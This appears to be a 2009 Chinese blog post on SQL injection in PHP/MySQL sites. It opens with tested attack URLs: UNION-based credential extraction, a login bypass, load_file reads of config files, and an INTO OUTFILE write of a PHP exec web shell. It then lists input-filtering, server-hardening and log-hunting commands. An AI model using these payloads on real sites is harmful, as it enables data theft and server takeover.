分类:
2009-09-23 13:30:38
以下是我在服务器测试并成功注入的例子,大家看一下注入实例中的所有参数,有经验的程序员一看便知,如果不太明白可以自己实践一下,或者看一下注入原理(),有任何疑问请联系讨论
1、通过select
1)/pub/show.php?tpl_id=187&id=61/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
2)/pub/show.php?tpl_id=187&id=61/**/and/**/1=2/**/union/**/select/**
/user(),database(),version(),1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16;
3)/showUser.php?uid=-1%20union%20select%20concat(username,password),1,2,3%20from test_talbewhere uid=1;
4)/action/lxmm/video_detail.php?vid=14/**/and/**/1=2/**/union/**/select
/**/char(60,63,112,104,112,32,101,99,104,111,32,101,120,101,99,40,39,119,104,111,97,109,105,39,41,59,63,62)/**/into/**/outfile/**/'/test.php'/**/1=1
5)/action/lxmm
/video_detail.php?vid=14%20and%201=2%20union%20select%20table_schema,table_name,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%20information_schema.tables%20limit%201%202
6)/login.php?u=a'%20or%20id=1%23 验证(select * from alphaauthor where u='$u' and p='$p')
7)/pub/show.php?tpl_id=187%20load%20data%20local%20infile%20'd:/t.txt'%20into%20table%20test%20fields%20terminated by ','
8)/pub/show.php?id=347%20and%201<>1%20union%20select%201,2,load_file('/data/www/conf/config.in.php'),4,5,6,7,8,9,10,11
9)/readFile.php?path=/data/www&file=test.txt
字符注入
10)/searchUser.php?key=a%'%20and%201=2%20union%20select%201,u,2,p%20from%20user/*
11)/pub/show.php?id=451%20and%201=2%20union%20select%201,2,load_file(0x643a2f742e747874),4,5,6,7,8,9,10,11
12)/pub/show.php?id=451%20and%201=2%20union%20select%201,2,load_file(char(100,58,47,116,46,116,120,116)),4,5,6,7,8,9,10,11
2、通过insert
1)INSERT INTO members VALUES('$u','$p','$email','2'),email输入了netsh@163.com','1')/*
3、程序
1)@extract(daddslashes($_GET));register_globals=Off
1、程序防范
1)对于用户名这样的字段,输入时候,检查不允许有空格,而且必须是字母数字下划线或划线这四种,用正则检查诸如角色名这些不需要用'" \之类的字符,一定要在录入之前就检查。
2)有长度限制的一定要加入长度限制。
3)筛查sql关键字。
4)过滤整形is_numeric,intval,sprintf。
5)如果!get_magic_quotes_gpc()用addslashes过滤。
6)文件上传严格控制上传文件类型。
7)记录用户操作日志。
2、服务器防范
1)apache安全
(1)指定运行帐户daemon
(4)chroot运行
(2)FollowSymLinks
(3)AllowOverride None (rewrite)
2)php配置安全注意事项
(1)magic_quotes_gpc = on
(2)register_globals = off
(3)safe_mode = on
(4)open_basedir = /var/www/
(5)disable_functions = phpinfo ... (用不到并且危险的函数)
(6)display_errors = Off (容易暴露出错文件位置)
3)Mysql安全
(1)指定用户运行groupadd mysql useradd -g mysql mysql
(2)chroot运行
1、查看日志,查询select,union,concat,into,outfile之类参数的日志,去研究他通过哪些文件注入的,并且做了哪些操作。
grep -i union 200808*.log > search.log
grep -i union 200808*.log | grep -v 404 > search.log
2、查到了有文件2008.php被注入,查找相应内容的文件。
find /data/SSWWW/www | grep 2008.php > search.log
find . -name "*.php" -printf "%c %p\n" |sort -n |more
3、2008.php中含有fsockopen、exec或者文件版本信息关键字,查找虚拟主机所有含有该关键字的php文件。
find /data/ -name "*.php" -exec grep -iH "fsockopen" {} \;
find /data/SSWWW/ |grep php| xargs grep 4ngel > search.log
4、及时检查服务器日志和最新被改动Php文件